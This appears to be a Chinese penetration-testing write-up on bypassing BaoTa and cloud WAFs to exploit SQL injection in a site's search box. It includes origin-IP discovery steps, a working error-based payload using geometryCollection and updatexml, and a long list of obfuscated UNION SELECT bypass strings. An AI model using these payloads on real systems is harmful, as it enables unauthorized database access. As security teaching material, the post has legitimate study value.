记一次SQL注入绕过宝塔+云waf

admin 2024年10月13日15:50:04评论45 views字数 2395阅读7分59秒阅读模式

0x01 多重waf绕过

注入点搜索框

记一次SQL注入绕过宝塔+云waf

单双引号进行测试
看看是字符型的还是数字型的,发现是字符型
记一次SQL注入绕过宝塔+云waf
记一次SQL注入绕过宝塔+云waf
准备上语句发现有宝塔waf+waf
记一次SQL注入绕过宝塔+云waf
记一次SQL注入绕过宝塔+云waf
0x02 过云waf
首先看看有无cdn节点
记一次SQL注入绕过宝塔+云waf
全球ping
记一次SQL注入绕过宝塔+云waf
发现这两个没有回应真实ip,就去看看用fofa或者hunter来在真实iphunter上面显示183是云厂商肯定是云waf,不能用这个ip
记一次SQL注入绕过宝塔+云waf
之后在看fofa上面能不能找到真实ip
记一次SQL注入绕过宝塔+云waf发现这个ip跟历史解析记录是同一个c段的
记一次SQL注入绕过宝塔+云waf
然后用拦截云waf的语句来试试,发现无云waf显示
记一次SQL注入绕过宝塔+云waf
记一次SQL注入绕过宝塔+云waf
找云waf的几种方式
1. 通过全球ping2. 找历史解析记录3. 通过fofa或者hunter空间引擎来搜索4.  通过历史解析记录扫c段

0x03 过宝塔waf

1.报错注入

首先判断出字符型的话,就得去测试’||||’‘or+or’的语句,但是我发现他这里只要是在两个or之间出现东西,就一定会触发宝塔waf
记一次SQL注入绕过宝塔+云waf
当时试了很多思路,发现可以’;%00方法,还有可以加--+注释符的,但是尝试之后只有--+可以正常回显
记一次SQL注入绕过宝塔+云waf
记一次SQL注入绕过宝塔+云waf
其实这里最初的思路根本不是什么’||||’,这里是按照1’||1=1来测试
记一次SQL注入绕过宝塔+云waf
然后尝试想把1=1,后面这个1能不能换成报错函数之类的,发现直接被拦
记一次SQL注入绕过宝塔+云waf
所以我猜测这个是不是有可能把mysql所有的报错函数都给拦了一下,尝试其他的报错函数看看
exp
记一次SQL注入绕过宝塔+云waf
floor
记一次SQL注入绕过宝塔+云waf
例如:Polygon,GeometryCollection,MultiPoint,MultiLineString我发现这几个都没有过滤,可能就过滤了平常可见的报错函数
记一次SQL注入绕过宝塔+云waf
既然这函数可以用,那我们就开始构造语句试试,正常的语句用不了,那我们就玩点不正常的
记一次SQL注入绕过宝塔+云waf
看看这函数怎么搞的,把里面的语句替换成1,看看哪里出了问题,发包,发现他这个1直接爆出来了
记一次SQL注入绕过宝塔+云waf
尝试能不能select database()这样,把库名搞出来
记一次SQL注入绕过宝塔+云waf
发现还是不行
可能是因为database()后面跟着--没有闭合的原因,
加个||’来试试能不能闭合
记一次SQL注入绕过宝塔+云waf
emmm,还是不行
既然select database()不行,那就试试再套一层报错函数,看看能不能行
Pyload:1'||1=geometryCollection(updatexml(1,concat(0x7e,database(),0x7e),1))--+
发包
记一次SQL注入绕过宝塔+云waf
哟西,果然能行,出库名了,成功绕过waf

2.联合注入

直接'ordre byxx --+
正常判断出库名,17正常18报错
记一次SQL注入绕过宝塔+云waf
记一次SQL注入绕过宝塔+云waf
然后fuzzunion select 函数尝试太多截图就不放了,直接快进到最后一步
/*!%55NiOn*/ /*!%53eLEct*/ %55nion(%53elect 1,2,3)-- - +union+distinct+select+ +union+distinctROW+select+ /**//*!12345UNION SELECT*//**/ /**//*!50000UNION SELECT*//**/ /**/UNION/**//*!50000SELECT*//**/ /*!50000UniON SeLeCt*/ union /*!50000%53elect*/ +#uNiOn+#sEleCt +#1q%0AuNiOn all#qa%0A#%0AsEleCt /*!%55NiOn*/ /*!%53eLEct*/ /*!u%6eion*/ /*!se%6cect*/ +un/**/ion+se/**/lect uni%0bon+se%0blect %2f**%2funion%2f**%2fselect union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A REVERSE(noinu)+REVERSE(tceles) /*--*/union/*--*/select/*--*/ union (/*!/**/ SeleCT */ 1,2,3) /*!union*/+/*!select*/ union+/*!select*/ /**/union/**/select/**/ /**/uNIon/**/sEleCt/**/ /**//*!union*//**//*!select*//**/ /*!uNIOn*/ /*!SelECt*/ +union+distinct+select+ +union+distinctROW+select+ +UnIOn%0d%0aSeleCt%0d%0a UNION/*&test=1*/SELECT/*&pwn=2*/ un?+un/**/ion+se/**/lect+ +UNunionION+SEselectLECT+ +uni%0bon+se%0blect+ %252f%252a*/union%252f%252a /select%252f%252a*/ /%2A%2A/union/%2A%2A/select/%2A%2A/ %2f**%2funion%2f**%2fselect%2f**%2f union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A /*!UnIoN*/SeLecT+  %55nion(%53elect)   union%20distinct%20select   union%20%64istinctRO%57%20select   union%2053elect   %23?%0auion%20?%23?%0aselect   %23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect   %55nion %53eLEct   u%6eion se%6cect   unio%6e %73elect   unio%6e%20%64istinc%74%20%73elect   uni%6fn distinct%52OW s%65lect
Pyload:
union+distinctROW+select
记一次SQL注入绕过宝塔+云waf
开始构造,pyload如图,发包
记一次SQL注入绕过宝塔+云waf
成功绕过

原文始发于微信公众号(Poker安全):记一次SQL注入绕过宝塔+云waf

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月13日15:50:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次SQL注入绕过宝塔+云wafhttps://cn-sec.com/archives/1903187.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息